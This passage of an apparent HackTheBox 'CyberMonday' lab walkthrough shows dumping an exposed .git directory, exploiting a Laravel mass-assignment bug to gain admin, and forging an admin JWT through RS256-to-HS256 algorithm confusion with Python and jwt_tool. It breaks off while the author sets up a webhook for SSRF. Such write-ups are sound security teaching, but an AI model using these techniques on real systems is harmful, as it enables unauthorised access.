[-] Fetching http://cybermonday.htb/assets../.git/objects/d6/b7ef32c8478a48c3994dcadc86837f4371184d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/eb/0536286f3081c6c0646817037faf5446e3547d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/7f/2e2c6ec8c31bec764d3c5d3bb5dd5d1bedd27d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/33/91630ecc9e859dad35834a43f119a67bb7df71 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/fc/acb80b3e1193e661cb1ca5f589d80af218867d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/0b/2c367981682764972ef92d67a6278f550c9f42 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/2a/c86a1858718f2ae64117738c11442ea18dbdfd [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/82/a37e400815ec871d3b88cc2f08a67740cec161 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/1f/3c7668f747b71eafcb4b178d1a80511d56e80a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a9/a0f5fdd85154a13d07e4cda8f22303cac53cb9 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/03/d03b489802641c86ab6f275af99f949539f6f7 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/c7/788b180e2a7e5bc14c2ea9e02f9d1de42ac29b [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e2/63f1e758191182a3ec57883b93e2dfe77c5e3e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/c6/4c292d6315c747bb7d85134967ae9ba0663e47 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/63/bcc82bf5ceaed53668404c7e8ca286c5f68182 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/fa/579600b150dfe96277f923c509bc473517b32a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/2b/5249110fbf73b9bc29d730553577c1328efda2 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/24/25237e3360e056e6e6705323b819a136a7ed9b [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a9/b549189653697bdcc2597e2a81e93fae10cea6 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/67/078294b451e1385fcac6ffc7518bd40128a589 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/0c/74c2f4d4e86e8483c8a2ac0f6d8ffff146cc4e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/31/e5659f5ea47800d8b803c2b8d7b8d5127c70fe [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a2/09be995d70299741d5f4703f5d0a371ba51906 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a5/ca4ad59b1f94c8c49d41cdb8527b9026126cca [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/d8/28bbf33e1cced57eefe573bb6371d6d871c0db [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a7/666dbc96dabf9121c7ab100b75351032e876f2 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/62/b6ea2ab9c84cbbfb776b430c307dc508e2642b [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/84/061fffbb46a150363c7d3ede8d8e903fc3873c [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/67/372d054b30cce0b5356c375737a79d87ef69e7 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/96/233b34ccba706a9f89dca87a9282a3cd836e0a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/90/50e10b0988351ff02412e2a3eb2d77cd982c48 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/9f/64856f645658aeda1c3d6a07b544e550097f70 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/3f/ad2cd925b761af3387f47d5ed471a0bddc690e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/42/87910964feb86119d87658b97ff556ac06d585 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/3c/f5e09286183fa233fe39d26dad9f902fc1c69e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/22/57b3b323f34bdf71cc9c43977661c7d54b2e6c [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/f2/d718fb4f64af26296e2d5fa4ae4dee04aee886 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/95/47e7d7740a164f5fd6f10aec0d0d98ed09e23e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/70/46c26a14dfd083b613b04e5fb464c1b8f05a1e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/90/bf9ee57364b1e707fb400a8561c6f0083af928 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e9/3e4a3f9c394c636dcf0fe673ddb42c2fa180c3 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e3/dff6b7c1c86ad0a72845e554d4fffecff9f6b5 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/f0/0a628d46a5fb12ee6f4fb81647ad94ded4246c [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/32/e46a3cd15b9aa54cccc46fc53990f382062325 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/0e/d15f710f3fdd9cd4255795cedb4f4e61aa59e8 [200]
[-] Running git checkout .
The result is the source for the site:
oxdf@hacky$ ls
app composer.lock package.json resources webpack.mix.js
artisan config phpunit.xml routes
bootstrap database public storage
composer.json lang README.md tests
There’s only one commit in the repo:
oxdf@hacky$ git log
commit f439e6a6a358e6effbc092f837e88311ce3e6712 (HEAD -> master)
Author: guest <guest@mail.com>
Date: Tue Jan 24 01:51:33 2023 +0000
backup
Source Code Analysis
Routes
app/routes/web.php
defines the routes for the website:
Route::get('/', function () {
return view('welcome',['title' => 'Welcome']);
})->name('welcome');
Route::get('/products',[ProductController::class,'index'])->name('products');
Route::get('/product/{product:id}',[ProductController::class,'show'])->name('products.show');
Route::get('/logout',[AuthController::class,'destroy'])->name('logout');
Route::middleware('guest')->group(function(){
Route::get('/signup',[AuthController::class,'registerForm'])->name('register.form');
Route::post('/signup',[AuthController::class,'register'])->name('register');
Route::get('/login',[AuthController::class,'loginForm'])->name('login.form');
Route::post('/login',[AuthController::class,'login'])->name('login');
});
Route::prefix('home')->middleware('auth')->group(function(){
Route::get('/',[HomeController::class,'index'])->name('home');
Route::get('/profile',[ProfileController::class,'index'])->name('home.profile');
Route::post('/update',[ProfileController::class,'update'])->name('home.profile.update');
});
Route::prefix('dashboard')->middleware('auth.admin')->group(function(){
Route::get('/',[DashboardController::class,'index'])->name('dashboard');
Route::get('/products',[ProductController::class,'create'])->name('dashboard.products');
Route::post('/products',[ProductController::class,'store'])->name('dashboard.products.store');
Route::get('/changelog',[ChangelogController::class,'index'])->name('dashboard.changelog');
});
Most of these I’ve seen before, but /dashboard
is new. Trying to visit while logged in redirects to /home
. However, trying to visit while logged out returns a Laravel debug crash:
“Attempt to read property “isAdmin” on null”.
The number of routes that take any input from the user is small. The home
route has a route to update the user profile:
Route::prefix('home')->middleware('auth')->group(function(){
Route::get('/',[HomeController::class,'index'])->name('home');
Route::get('/profile',[ProfileController::class,'index'])->name('home.profile');
Route::post('/update',[ProfileController::class,'update'])->name('home.profile.update');
});
I’ll want to check that one out.
Views
In app/resources/views/partials/header.blade.php
, it defines the header, and there’s a check for auth()->user()->isAdmin
when building the nav bar:
@if(auth()->user())
<a href="{{ route('home') }}"
class="border-transparent text-gray-900 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Home</a>
@if(auth()->user()->isAdmin)
<a href="{{ route('dashboard') }}"
class="border-transparent text-gray-900 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Dashboard</a>
@endif
@endif
This is confirmation that the dashboard is intended for admins.
I’ll look at the views in app/resources/views/dashboard
, but there isn’t much interesting.
Controllers
The controllers are in app/Http/Controllers
. From the route above, the update
function of the ProfileController
class in ProfileController.php
is called when there’s a POST request to /home/update
:
public function update(Request $request)
{
$data = $request->except(["_token","password","password_confirmation"]);
$user = User::where("id", auth()->user()->id)->first();
if(isset($request->password) && !empty($request->password))
{
if($request->password != $request->password_confirmation)
{
session()->flash('error','Password dont match');
return back();
}
$data['password'] = bcrypt($request->password);
}
$user->update($data);
session()->flash('success','Profile updated');
return back();
}
Get Admin Access
Identify Mass Assignment
The code above for profile updates gets the current User
object, and updates the data. However, there’s a mass assignment vulnerability here! It takes all the POST request fields except for _token
, password,
and password_confirmation
, and then (after also updating the password with a bcrypt hash if necessary) updates the user object. This means if I submit a isAdmin
field, it can be set.
Exploit
To exploit this, I’ll send one of the POST requests to Burp Repeater and add isAdmin=1
to the end of the data:
The response is a simple 302 to /home/profile
, but on refreshing the page, I’ll see “Dashboard” is added to the nav bar:
Enumerate Admin Access
Products
The dashboard has a bunch of graphs:
There’s nothing interesting on this page. The “Products” link (/dashbard/products
) gives a form to add products:
It works, and I can add products:
I’ll try some XSS payloads, but nothing simple works:
Changelog
The other link in the dashboard is to “Changelog” (/dashboard/changelog
):
This seems to imply there is a SQL injection in the login page, but I don’t see it in the code and can’t get it to work on my own.
There’s also a link to a webhook url, http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77
. That’s a new subdomain!
Shell as www-data in Container
Enumerate webhooks-api-beta
Exploring the API
The link in the changelog returns an empty page. Looking at the request, it’s a 404:
HTTP/1.1 404 Not Found
Server: nginx/1.25.1
Date: Tue, 28 Nov 2023 15:45:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Host: webhooks-api-beta.cybermonday.htb
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=b1016cd227ebb1533ced7f899aef6898; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Trying just /webhooks
returns an unauthorized error:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks
{"status":"error","message":"Unauthorized"}
The root returns JSON showing the full API. I’ll use jq
to pretty print it:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb -s | jq .
"status": "success",
"message": {
"routes": {
"/auth/register": {
"method": "POST",
"params": [
"username",
"password"
]
},
"/auth/login": {
"method": "POST",
"params": [
"username",
"password"
]
},
"/webhooks": {
"method": "GET"
},
"/webhooks/create": {
"method": "POST",
"params": [
"name",
"description",
"action"
]
},
"/webhooks/delete:uuid": {
"method": "DELETE"
},
"/webhooks/:uuid": {
"method": "POST",
"actions": {
"sendRequest": {
"params": [
"url",
"method"
]
},
"createLogFile": {
"params": [
"log_name",
"log_content"
]
}
}
}
}
}
}
If I try to interact with the API with POST data, it doesn’t work:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/auth/login -d 'username=0xdf&password=0xdf0xdf'
{"status":"error","message":"\"username\" not defined"}
If I switch to JSON, it works:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/auth/login -d '{"username": "0xdf", "password": "0xdf0xdf"}' -H "Content-Type: application/json"
{"status":"error","message":"Invalid Credentials"}
It’s still failing, but at least it’s processing the input. This response also shows that the creds from the other site are not used here.
I’m able to register a user:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/auth/register -d '{"username": "0xdf", "password": "0xdf0xdf"}' -H "Content-Type: application/json"
{"status":"success","message":"success"}
Now logging in returns a x-access-token
:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/auth/login -d '{"username": "0xdf", "password": "0xdf0xdf"}' -H "Content-Type: application/json"
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweGRmIiwicm9sZSI6InVzZXIifQ.o86ZOGoDXOm1EvtAhh-QN24vdRflWEEYxk_IHYjpA8-Q29vwslTWu6_eBgcma4iQWOUN-g-Cg82Js2QSlhrpl368qaVrEWAdhxTYJK-AULQXDlgw35s0HrF1p8n_0ZMjiIL3h-uIMoe9VhiQUM0HwDMB4cqNk01ltKg1R5ALgHfjLF2z4mcRhr4ieBkLaQxyCEVHuHuVAilmcc0YhhoTcfZErUWfVzRH-zLcKFLDnlQZ5lCWUngYM8m0fSNAO6Nx0E94i-nJzg9APTZhDoNuVW2AKr3eZXb41WCc9ryTFACVVvgFquGR1gVY08rSOPHaQ8_7gFKctl1fNpDt62xLEA"}}
Without the token (as shown above), /webhooks
returns an unauthorized message. I’ll use the token, and it works:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks -H "x-access-token: $TOKEN"
{"status":"success","message":[{"id":1,"uuid":"fda96d32-e8c8-4301-8fb3-c821a316cf77","name":"tests","description":"webhook for tests","action":"createLogFile"}]}
If I try the /webhooks/create
or other webhooks endpoints, it just returns unauthorized:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: $TOKEN" -d '{"name": "0xdf-webhook", "description": "hacking this thing", "action": "root"}'
{"status":"error","message":"Unauthorized"}
Tech Stack
The HTTP response headers don’t give anything away as far as what technology the API is written in. It could be PHP, but it could be something else. I’ve seen it uses JSON for interaction.
The 404s are just blank bodies, which isn’t a clue.
The access token is a JWT. jwt.io shows the decoded information:
The body has a role that is currently user, as well as my username. The header shows that it’s using public key crypto to validate tokens. If a site is using asymmetric crypto to validate keys, typically that’s because other sites want to accept keys signed by this site. For that to work, public key must be available.
In this case, where there’s no path to the public key given in the key metadata, it is likely on the server is a well known name (like jwks.json
or .wellknown/jwks.json
).
Web Content Brute Force
feroxbuster
didn’t seem to filter nicely on this API, so I’ll use ffuf
. With my typical wordlist, it doesn’t find anything:
oxdf@hacky$ ffuf -u http://webhooks-api-beta.cybermonday.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://webhooks-api-beta.cybermonday.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
[Status: 200, Size: 482, Words: 1, Lines: 1, Duration: 191ms]
:: Progress: [30000/30000] :: Job [1/1] :: 93 req/sec :: Duration: [0:04:08] :: Errors: 2 ::
If I try another very popular wordlist, common.txt
, it does find something interesting:
oxdf@hacky$ ffuf -u http://webhooks-api-beta.cybermonday.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://webhooks-api-beta.cybermonday.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
.htaccess [Status: 200, Size: 602, Words: 104, Lines: 21, Duration: 122ms]
jwks.json [Status: 200, Size: 447, Words: 7, Lines: 11, Duration: 169ms]
:: Progress: [4713/4713] :: Job [1/1] :: 181 req/sec :: Duration: [0:00:21] :: Errors: 0 ::
The .htaccess
file doesn’t provide much:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/.htaccess
<IfModule mod_rewrite.c>
<IfModule mod_negotiation.c>
Options -MultiViews -Indexes
</IfModule>
RewriteEngine On
# Handle Authorization Header
RewriteCond %{HTTP:Authorization} .
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
# Redirect Trailing Slashes If Not A Folder...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} (.+)/$
RewriteRule ^ %1 [L,R=301]
# Send Requests To Front Controller...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]
</IfModule>
Forge JWT
Get jwks.json
jwks.json
is a common file associated with JSON Web Key Sets (JWKS). This post from Okta goes into detail. Even without bruteforcing it would have been possible to find this just by guessing at some common file names.
The file has the RSA elements of the public key:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}
Algorithm Confusion
This post from PortSwigger has a nice background on an attack on JWTs called Algorithm Confusion. In their examples, a good webserver might look something like this:
function verify(token, secretOrPublicKey){
algorithm = token.getAlgHeader();
if(algorithm == "RS256"){
// Use the provided key as an RSA public key
} else if (algorithm == "HS256"){
// Use the provided key as an HMAC secret key
}
}
It reads the JWT header, gets the algorithm, and verifies using the appropriate key. But a lazy implementation might look like:
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);
It’s passing the public key and the token directly to verify
. The site is assuming that the algorithm will always be RSA, but that is actually attacker controlled, and the verify
function (likely imported) will handle all.
That means that if an attacker uses the public key like a symmetric key, it might be accepted.
The JWT itself says what kind of algorithm is in use. If the server is lazy enough to read the public key and then pass that along with the key to the verify function, it’s possible that it uses the public key as a symmetric key and validated.
Generate Pem
To do this, I’ll need the public key in a string format, which is typically PEM. I’ll do this quickly in Python. I’ll start by importing the RSA
library and urlsafe_b64decode
(it’s important to get this one, as b64decode
will not throw an error, but give wrong results):
oxdf@hacky$ python
Python 3.11.5 (main, Aug 25 2023, 13:19:50) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.PublicKey import RSA
>>> from base64 import urlsafe_b64decode
I’ll grab the e
value from jwks.json
, which is URLsafe base64 encoded, and get that back to an int:
>>> urlsafe_b64decode(b'AQAB')
b'\x01\x00\x01'
>>> int.from_bytes(urlsafe_b64decode(b'AQAB'))
65537
>>> e = int.from_bytes(urlsafe_b64decode(b'AQAB'))
I’ll do the same with n
:
>>> n = int.from_bytes(urlsafe_b64decode(b'pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.11/base64.py", line 134, in urlsafe_b64decode
return b64decode(s)
^^^^^^^^^^^^
File "/usr/lib/python3.11/base64.py", line 88, in b64decode
return binascii.a2b_base64(s, strict_mode=validate)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
binascii.Error: Incorrect padding
>>> n = int.from_bytes(urlsafe_b64decode(b'pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w=='))
>>> n
21077705076198164110050345996612932810772518568443539050967722091376715840724373912088648727462840166356037836008797866810613752598694921174993091914759002593675145922598909469318911554819111261819241455997350276504601809923734199273292278943649872262588721789631926559440043091439126662856921713786579174831565901935033306650397146382742890508658151492282389201858268597532677527914866223650606412599907677018538379813464063685144477862245532615744296358390508702719361603975980307523385389095548127340792700450704825980888363887958403440479605178094454574416540689804276427673977731782835533403716740628865097430507
It throws a padding error. I’ll just add =
to the end until it works.
Now I’ll create an RSA object, and use it to get the exported key:
>>> key = RSA.construct((n, e))
>>> key
RsaKey(n=21077705076198164110050345996612932810772518568443539050967722091376715840724373912088648727462840166356037836008797866810613752598694921174993091914759002593675145922598909469318911554819111261819241455997350276504601809923734199273292278943649872262588721789631926559440043091439126662856921713786579174831565901935033306650397146382742890508658151492282389201858268597532677527914866223650606412599907677018538379813464063685144477862245532615744296358390508702719361603975980307523385389095548127340792700450704825980888363887958403440479605178094454574416540689804276427673977731782835533403716740628865097430507, e=65537)
>>> print(key.exportKey().decode())
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApvezvAKCOgxwsiyV6PRJ
fGMul+WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP/8jJ7WA2gDa8oP3N2J8z
Fyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn7
97IlIYr6Wqfc6ZPn1nsEhOrwO+qSD4Q24FVYeUxsn7pJ0oOWHPD+qtC5q3BR2M/S
xBrxXh9vqcNBB3ZRRA0H0FDdV6Lp/8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhn
gysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh1
6wIDAQAB
-----END PUBLIC KEY-----
I’ll save that as secret
:
>>> secret = key.exportKey()
Sign JWT [Fail]
Next I need to forge a JWT using this secret in HS256 mode. I’ll continue in the same Python shell, importing jwt
:
>>> import jwt
I’ll take my valid cookie and get the data from it:
>>> data = jwt.decode(
... 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweGRmIiwicm9sZSI6InVzZXIifQ.o86ZOGoDXOm1EvtAhh-QN24vdRflWEEYxk_IHYjpA8-Q29vwslTWu6_eBgcma4iQWOUN-g-Cg82Js2QSlhrpl368qaVrEWAdhxTYJK-AULQXDlgw35s0HrF1p8n_0ZMjiIL3h-uIMoe9VhiQUM0HwDMB4cqNk01ltKg1R5ALgHfjLF2z4mcRhr4ieBkLaQxyCEVHuHuVAilmcc0YhhoTcfZErUWfVzRH-zLcKFLDnlQZ5lCWUngYM8m0fSNAO6Nx0E94i-nJzg9APTZhDoNuVW2AKr3eZXb41WCc9ryTFACVVvgFquGR1gVY08rSOPHaQ8_7gFKctl1fNpDt62xLEA',
... secret,
... algorithms=["RS256"]
... )
>>> data
{'id': 2, 'username': '0xdf', 'role': 'user'}
I’ll change the role to “admin”:
>>> data['role'] = 'admin'
When I try to sign this, it fails:
>>> jwt.encode(data, secret, algorithm="HS256")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3/dist-packages/jwt/api_jwt.py", line 63, in encode
return api_jws.encode(json_payload, key, algorithm, headers, json_encoder)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/jwt/api_jws.py", line 113, in encode
key = alg_obj.prepare_key(key)
^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/jwt/algorithms.py", line 189, in prepare_key
raise InvalidKeyError(
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
There’s a check to prevent just this kind of mistake by a developer!
Sign JWT
I could go into the library code and remove this check (in fact, I will in Beyond Root), but the sensible thing to do here is use a tool meant for pentesting, jwt_tool.
In general, the tool takes a JWT, as well as options. I’ll use the following:
-S hs256
’ - set the signing type to HMAC-SHA-k public.pem
- use the key in the file,public.pem
, where I’ve saved the key generated above-I
- inject / fuzz values-pc role
- modify the claim “role”-pv admin
- set the role value to “admin”
When I run this, it gives a new JWT:
oxdf@hacky$ python jwt_tool.py -S hs256 -k public.pem -I -pc role -pv admin $TOKEN
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
jwttool_2e543fb6ba326f7160a8e1d3bb75decf - Tampered token - HMAC Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweGRmIiwicm9sZSI6ImFkbWluIn0.5uYa8q7WRCvo26Ke-J0GOkgexryS8AEAjanCj1WbCW8
Get SSRF
Create Webhook
Armed with this forged token, I can retry to create a webhook:
oxdf@hacky$ export ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweGRmIiwicm9sZSI6ImFkbWluIn0.5uYa8q7WRCvo26Ke-J0GOkgexryS8AEAjanCj1WbCW8
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: $ADMIN" -d '{"name": "0xdf-webhook", "description": "hacking this thing", "action": "root"}' -H "Content-type: application/json"
{"status":"error","message":"Only letters, numbers and underscores are allowed in the \"name\"","status_code":400}
This is progress! It’s no longer saying unauthorized, but rather picking at my inputs. Try again:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: $ADMIN" -d '{"name": "0xdf", "description": "hacking this thing", "action": "root"}' -H "Content-type: application/json"
{"status":"error","message":"This action is not available","actions":["sendRequest","createLogFile"]}
This time it doesn’t like the action
, and nicely reports that it must be sendRequest
or createLogFile
. This time it takes:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: $ADMIN" -d '{"name": "0xdf", "description": "hacking this thing", "action": "createLogFile"}' -H "Content-type: application/json"
{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"ce09b165-912f-45a9-b94c-2bdc68c06117"}
It’s there:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks -H "x-access-token: $ADMIN" -s | jq .
{
"status": "success",
"message": [
{
"id": 1,
"uuid": "fda96d32-e8c8-4301-8fb3-c821a316cf77",
"name": "tests",
"description": "webhook for tests",
"action": "createLogFile"
},
{
"id": 2,
"uuid": "ce09b165-912f-45a9-b94c-2bdc68c06117",
"name": "0xdf",
"description": "hacking this thing",
"action": "createLogFile"
}
]
}
Interact with Webhook
The API definition shows I can POST to /webhooks/:uuid
:
"/webhooks/:uuid": {
"method": "POST",
"actions": {
"sendRequest": {
"params": [
"url",
"method"
]
},
"createLogFile": {
"params": [
"log_name",
"log_content"
]
}
}
}
I’ll try with an empty body:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/ce09b165-912f-45a9-b94c-2bdc68c06117 -H "x-access-token: $ADMIN" -d '{}' -H "Content-type: application/json"
{"status":"error","message":"\"log_name\" not defined"}
It wants a log_name
. That’s because the type of this one is createLogFile
. I’ll try to write in my guess at the web root, but it fails:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/ce09b165-912f-45a9-b94c-2bdc68c06117 -H "x-access-token: $ADMIN" -d '{"log_name": "/var/www/html/test.txt", "log_content": "this is a test"}' -H "Content-type: application/json"
{"status":"error","message":"Only letters and numbers are allowed in the \"name\""}
If I just make the name “test”, it works:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/ce09b165-912f-45a9-b94c-2bdc68c06117 -H "x-access-token: $ADMIN" -d '{"log_name": "test", "log_content": "this is a test"}' -H "Content-type: application/json"
{"status":"success","message":"Log created"}
I am not able to find this file or exploit it in any way.
sendRequest
I’ll create another hook, this time with action
of sendRequest
:
oxdf@hacky$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: $ADMIN" -d '{"name": "0xdf2", "description": "hacking this thing", "action": "sendRequest"}' -H "Content-type: application/json"
